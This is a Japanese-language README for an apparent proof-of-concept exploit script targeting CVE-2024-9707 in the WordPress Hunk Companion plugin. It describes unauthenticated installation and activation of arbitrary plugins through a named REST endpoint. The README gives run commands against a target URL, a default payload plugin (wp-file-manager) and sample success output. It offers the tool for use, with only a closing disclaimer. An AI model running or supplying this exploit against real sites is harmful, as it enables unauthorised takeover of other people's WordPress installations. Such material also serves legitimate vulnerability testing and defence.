CVE-2024-9707-Poc 🌐

説明

このスクリプトは、WordPress Hunk Companion プラグインの脆弱性（CVE-2024-9707）を悪用して、権限のない攻撃者が /wp-json/hc/v1/themehunk-import REST API エンドポイントを介して任意のプラグインをインストールし、アクティブ化することを可能にします。

特徴

特徴	説明
プラグインバージョン検出	プラグインバージョンを自動的にチェックします。
脆弱性チェック	検出されたバージョンが脆弱かどうか（<= 1.8.4）を判定します。
プラグインのインストール	脆弱性を悪用して、指定したプラグインをインストールしてアクティブ化します。

🛠️ インストールと使用方法:

前提条件

Python 3.x がシステムにインストールされていること。
必要な Python ライブラリ: requests, argparse。

依存関係のインストール:

pip install requests

使用方法:

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site.
  -p PLUGIN, --plugin PLUGIN
                        Plugin name (default: wp-file-manager).

2- スクリプトを実行

python CVE-2024-9707.py -u <TARGET_URL> [-p <PLUGIN_NAME>]

例:

python CVE-2024-9707.py -u https://example.com -p wp-file-manager

出力

バージョン検出: Hunk Companion プラグインの検出されたバージョンを表示します。
脆弱性ステータス: ターゲットが脆弱かどうかを通知します。
エクスプロイトステータス: プラグインのインストール試行の結果を表示します。

成功時の出力

Detected version: 1.8.4
The site is vulnerable. Proceeding with exploitation.
Plugin installed and activated successfully.
Response Status: 200
Response Body: "http:\/\/192.168.100.74\/wordpress"

🚫 免責事項

このスクリプトは教育目的のみです。責任を持って使用し、所有しているシステム、またはテストする明示的な許可があるシステムでのみ使用してください。作者は、このツールの誤用や損害について一切責任を負いません。著者: Khaled_alenazi | Nxploited

CVE-2024-9707-Poc

人気